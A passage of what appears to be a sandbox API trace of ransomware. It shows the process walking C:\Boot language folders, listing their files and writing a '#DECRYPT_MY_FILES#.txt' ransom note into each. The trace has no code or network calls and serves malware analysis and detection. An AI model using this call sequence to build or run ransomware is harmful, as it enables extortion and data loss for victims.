ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.664] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.664] AreFileApisANSI () returned 1 [0031.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.665] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.665] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\pt-BR\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.665] CreateFileW (lpFileName="C:\\\\Boot\\pt-BR\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\pt-br\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.666] GetFileType (hFile=0x108) returned 0x1 [0031.666] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.666] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.666] GetLastError () returned 0x0 [0031.667] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pt-BR\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.667] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dac820, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.667] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dac820, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dac820, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.667] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.667] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.667] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.667] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.667] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.667] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.668] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.668] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.668] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.668] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.668] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.668] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.668] AreFileApisANSI () returned 1 [0031.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.668] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.668] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\pt-PT\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.668] CreateFileW (lpFileName="C:\\\\Boot\\pt-PT\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\pt-pt\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.669] GetFileType (hFile=0x108) returned 0x1 [0031.669] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.669] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.669] GetLastError () returned 0x0 [0031.670] FindFirstFileA (in: lpFileName="C:\\\\Boot\\pt-PT\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.670] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.670] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dd2980, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.670] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.670] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.670] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.670] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.670] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.670] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.670] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.670] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.670] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.670] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.670] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.670] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.670] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.671] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0031.671] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.671] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.671] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.671] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.671] AreFileApisANSI () returned 1 [0031.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.671] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\ru-RU\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.671] CreateFileW (lpFileName="C:\\\\Boot\\ru-RU\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\ru-ru\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.672] GetFileType (hFile=0x108) returned 0x1 [0031.672] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.672] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.672] GetLastError () returned 0x0 [0031.673] FindFirstFileA (in: lpFileName="C:\\\\Boot\\ru-RU\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.673] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.673] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dd2980, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.673] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.673] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.673] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.673] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.674] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.674] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.674] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.674] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.674] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.674] AreFileApisANSI () returned 1 [0031.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.674] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\sv-SE\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.674] CreateFileW (lpFileName="C:\\\\Boot\\sv-SE\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\sv-se\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x42d5c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108 [0031.675] GetFileType (hFile=0x108) returned 0x1 [0031.675] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.675] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1000) returned 0x826f80 [0031.675] GetLastError () returned 0x0 [0031.676] FindFirstFileA (in: lpFileName="C:\\\\Boot\\sv-SE\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0031.676] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="..", cAlternateFileName="")) returned 1 [0031.676] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dd2980, ftCreationTime.dwHighDateTime=0x1d55451, ftLastAccessTime.dwLowDateTime=0xb5dd2980, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb5dd2980, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x799, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="#DECRYPT_MY_FILES#.txt", cAlternateFileName="#DECRY~1.TXT")) returned 1 [0031.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823770 [0031.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823770 | out: hHeap=0x7f0000) returned 1 [0031.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x823738 | out: hHeap=0x7f0000) returned 1 [0031.676] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0031.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.676] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.676] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.676] FindNextFileA (in: hFindFile=0x825810, lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x4fe, dwReserved1=0x42d6a8, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0031.676] FindClose (in: hFindFile=0x825810 | out: hFindFile=0x825810) returned 1 [0031.677] FindNextFileA (in: hFindFile=0x81af40, lpFindFileData=0x42e228 | out: lpFindFileData=0x42e228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff, dwReserved1=0x42e010, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0031.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x780) returned 0x8267f8 [0031.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x823738 [0031.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813450 [0031.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x8) returned 0x813440 [0031.677] AreFileApisANSI () returned 1 [0031.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0031.677] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4c) returned 0x80db30 [0031.677] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x823738, cbMultiByte=-1, lpWideCharStr=0x80db30, cchWideChar=38 | out: lpWideCharStr="C:\\\\Boot\\tr-TR\\#DECRYPT_MY_FILES#.txt") returned 38 [0031.677] CreateFileW (lpFileName="C:\\\\Boot\\tr-TR\\#DECRYPT_MY_FILES#.txt" (normalized: "c:\\boot\\tr-tr\\#decrypt_my_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, 